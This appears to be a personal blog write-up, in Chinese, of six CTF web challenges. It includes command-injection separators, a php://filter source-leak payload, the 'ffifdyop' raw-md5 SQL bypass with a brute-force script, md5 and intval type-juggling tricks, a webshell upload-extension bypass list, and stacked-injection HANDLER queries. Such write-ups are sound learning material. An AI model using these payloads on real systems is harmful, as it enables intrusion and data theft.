因为明天好像有网鼎杯,今晚做几道web题吧。

buu里面挑几道2020年的。

1.[ACTF2020 新生赛]Exec
1.PNG


输入ip后看返回值好像可以返回ping命令。
因该是考linux下的命令执行绕过。这里偷学
这里好像&和|去并行都可以的。后面百度了下:

1、管道符: 可将命令的结果输出给另一个命令作为输入之用

2、连接符号: “;” 连续执行多个命令,放在一行执行,中间用“;”分开

3、后台执行: “&”

通过管道符、连接符号、后台执行符号都可以:

2PNG.PNG


2.[ACTF2020 新生赛]Include
3.PNG


包含flag.php可以成功执行,但是包含index.php就卡死。开始以为是跳转上的问题,用burp抓包后依旧是卡死状态。想到因该是index.php里面有什么死循环。

然后引用之前文章的:
https://cnmf.net.cn/index.php/archives/16/
元封装器,也就是伪协议。

resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选 read=<读链的筛选列表>
可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选 write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。
可选 <;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

php://filter/read=convert.base64-encode/resource=index.php

读取flag.php后直接base解码就可以得到。
但是index.php为什么会死循环呢:

4.PNG


这里只是判断file有没有传参,有就包含,这样就造成了一直包含index.php的情况。

3.[BJDCTF2020]Easy MD5
打开后是一个登录框,get提交。
fuzz不存在任何注入点,扫描无果。头很大。 然后在头里面找到hint
select * from ‘admin’ where password=md5($pass,true)
当时脑抽了啊,以为是爆破,试了下没用,竟然傻乎乎的把字典全部md5加密又试了下。
(这里明明就是md5加密了。。)

然后奇葩的来了:
5.PNG

6.PNG


md5第二个参数是true的时候返回的是原始16位字符的二进制格式。
当时就说怎么可能md5也可以用来绕过,没想到。。加个true就可以了。
然后为什么是ffifdyop这个字符呢,
因为他的二进制格式前面是 ‘or’6xxxxxxx

但是看了下大佬的爆破脚本,实在是看不懂:

<?php 
for ($i = 0;;) { 
 for ($c = 0; $c < 1000000; $c++, $i++)
  if (stripos(md5($i, true), '\'or\'') !== false)
   echo "\nmd5($i) = " . md5($i, true) . "\n";
 echo ".";
}
?>

这tm能跑出来ffifdyop????我心态崩了啊。
然后测试了带入自己的数据库:
微信截图_20200509221132.png

微信截图_20200509221149.png
感觉和php一个尿性吗。。

输入之后跳转到另一个页面:

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

字符不相等,md5相等,通过240610708和QNKCDZO绕过,也可以通过数组绕过。
数组不相同,但md5后都是false

再跳转:

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

全等,只能通过数组绕过了,post传:
微信截图_20200509221702.png


4.[ACTF2020 新生赛]BackupFile
这给我心态玩崩了。。

首先提示backupfile,扫到备份文件:

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

为什么我卡了好久。。哇。
第一个判断就是is_numeric,就必须是数字,不然exit,
第二个判断是这个数字要等于‘123dxxx’。中间对key进行了intval

然后我就疯狂试什么0x123 123e123。。哇
不管怎样到中间都要intval,字母前只能留123,那么输入123不就行了嘛!

那么为什么123e123不行呢,因为这是科学计数法,intval处理这么大的数返回的是:
微信截图_20200509223605.png


也就是说intval如果输入的是字符那么会返回e前面的东西,但是这是数字,他就会去解析科学计数法。

5.[ACTF2020 新生赛]Upload
有个上传点,通过phtml绕过上传拿马,根目录发现flag
看到个小总结:

上传.user.ini或.htaccess将合法拓展名文件当作php文件解析
%00截断绕过
php3,php4,php5,php7文件
phtml文件
phps文件
pht文件

备忘吧。

6.[GYCTF2020]Blacklist
堆叠注入+handler获取数据

堆叠注入获取列
show databases;   获取数据库名
show tables;  获取表名
show columns from `table_name`; 获取列名


handler获取数据
1';
HANDLER b OPEN;
HANDLER b READ FIRST;
HANDLER b CLOSE;


通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的句柄。

本来都想睡了,但是强网杯哪题也可以用handler来做,就一起做了吧。
头都要秃了。

微信截图_20200509234504.png


强网杯那题是这样的。
各位大神都是将数字表改名为word,然后查询。
还有使用预定义什么的,感觉太难没看。

这里也可以用堆叠注入+handler

51231231';
HANDLER `1919810931114514` OPEN;
HANDLER `1919810931114514` READ FIRST;
HANDLER `1919810931114514` CLOSE;

最终在数字表中查看就好了。(不知道为什么这里不加反引号就会出错。Mark

淦!